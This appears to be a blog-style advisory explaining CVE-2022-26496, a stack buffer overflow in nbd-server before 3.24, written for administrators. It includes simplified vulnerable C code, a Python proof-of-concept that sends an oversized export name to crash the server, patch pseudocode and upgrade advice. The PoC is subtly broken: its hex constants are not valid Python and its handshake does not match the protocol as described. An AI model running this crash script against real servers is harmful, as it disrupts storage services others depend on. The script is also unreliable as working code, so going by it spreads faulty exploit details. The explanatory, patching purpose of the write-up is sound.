In February 2022, a critical security vulnerability was discovered in nbd-server, the reference implementation of the Network Block Device (NBD) protocol. Before version 3.24, a stack-based buffer overflow could be triggered when the server parsed the name field in certain negotiation messages. This bug, tracked as CVE-2022-26496, can be used by attackers to crash servers or potentially run malicious code.
If you use NBD for exporting block devices in your infrastructure (for example, as storage for virtual machines), this is a must-read. Let's break down, in plain English, what went wrong, how the bug can be attacked, and what you should do.
What is NBD?
The Network Block Device (NBD) protocol allows you to export block devices (for example, disk images) over a network. That means you can use a remote disk on your Linux system almost as if it were local. The nbd-server is a widely-used implementation of this protocol.
The Vulnerability in Plain Words
When an NBD client connects to the server, it negotiates access to a particular "export" (think: virtual "named disks"). The new protocol (since NBD version 2) lets the client send messages like NBD_OPT_INFO or NBD_OPT_GO, which include the name of the export the client wants.
But: The protocol also lets the client specify how many bytes the name is. In nbd-server versions before 3.24, there was no proper check on this value. If you picked a huge length, the server would try to copy all of it into a small local buffer on the stack—leading to a classic buffer overflow.
In the worst case, this gives the attacker a path to run their own code on the server, if they can control enough of the overflowed data.
Here's a simplified extract (not the real code, but inspired by it)
// Vulnerable code in nbd-server before 3.24
void nbd_parse_name(int client_fd) {
char name[256]; // Small fixed buffer
uint32_t len;
// Read 4 bytes indicating the length of the name from the client
read(client_fd, &len, 4);
len = ntohl(len);
// No check that 'len' is <= sizeof(name)!
read(client_fd, name, len); // Danger: buffer overflow!
// ...process 'name'...
}
If the attacker sends a big len, say 1024 bytes, but the buffer is only 256 bytes, the rest of the data will overwrite adjacent memory on the stack. Classic C mistake, and an exploit opportunity.
What can an attacker do?
- Denial of Service: The easiest impact—crashing the nbd-server process, causing all remote disks to disconnect.
- Remote Code Execution: On some systems (especially if not compiled with stack protections like -fstack-protector), the attacker can craft data so that when the buffer is overflowed, the return address or adjacent variables are modified. This could let them execute arbitrary code, possibly as root (if the server is running privileged).
How hard is it?
- The attacker must be able to connect to nbd-server over the network. Typically, this is not open to the whole world, but mistakes in firewalling happen!
- The protocol for sending the exploit uses plain TCP. You don't need special libraries; you can exploit this with Python, netcat, or custom code.
Proof-of-Concept Exploit
Below is a minimal Python script that can crash a vulnerable nbd-server by triggering the bug. (Do not use this for unauthorized access.)
import socket
import struct
HOST = 'nbd-server-ip'
PORT = 10809 # default nbd-server port
# NBD "magic" headers
NBD_MAGIC = x4e42444d41474943
NBD_OPTS = {
'NBD_OPT_INFO': 6,
'NBD_OPT_GO': 7
}
def send_overflow(opt):
s = socket.create_connection((HOST, PORT))
# Send old-style initial handshake
s.sendall(struct.pack(">Q", NBD_MAGIC))
s.sendall(b'\x00'*8) # Some padding
s.recv(16) # Read initial response
# Try to negotiate with a huge export name
name_len = 4096 # Much bigger than internal buffer
s.sendall(struct.pack(">QIH", x49484156454F5054, opt, name_len))
s.sendall(b'A' * name_len) # Overflow with As
s.close()
# Trigger with NBD_OPT_GO
send_overflow(NBD_OPTS['NBD_OPT_GO'])
What to expect: The server process typically crashes with a segmentation fault if the buffer overflow is triggered.
References and Further Reading
- Official CVE entry: CVE-2022-26496
- Debian Security Advisory: DSA-5106
- nbd-server changelog (shows the patch): https://sourceforge.net/p/nbd/code/ci/master/tree/debian/changelog
- Upstream fix commit: GitHub nbd commit
How Was it Fixed?
The patch (in version 3.24) simply adds a length check: If the provided name length is longer than the buffer, the server rejects the message.
Patched code pseudocode
if (len > sizeof(name)) {
// Reject the request
disconnect_client();
return;
}
This is a classic safety measure in C programming.
Mitigation and Recommendations
- Upgrade now! If you run nbd-server, upgrade to version 3.24 or later. All major Linux distributions have released patches.
Use modern mitigations: Compile or install nbd-server with stack canaries and ASLR enabled.
- Monitor logs: Unusual server crashes or segfaults could be a sign this or other bugs are being attacked.
Final Thoughts
CVE-2022-26496 is a good reminder that "simple" coding mistakes in network services can have severe consequences, even in 2022. If you manage block device servers, take the time to review their network exposure and ensure they're running patched, modern software.
If you want to experiment in a safe lab, try running old nbd-server code in a VM and see how the bug works following the script above—but never attack any system you don't own.
Stay safe, keep your software up to date, and be wary of buffer overflows lurking in your stack!
*Note: This is an exclusive, plain-language breakdown tailored for IT administrators and anyone learning about server security. If you want to discuss or have questions, join the NBD mailing list.*
Timeline
Published on: 03/06/2022 06:15:00 UTC
Last modified on: 04/25/2022 19:27:00 UTC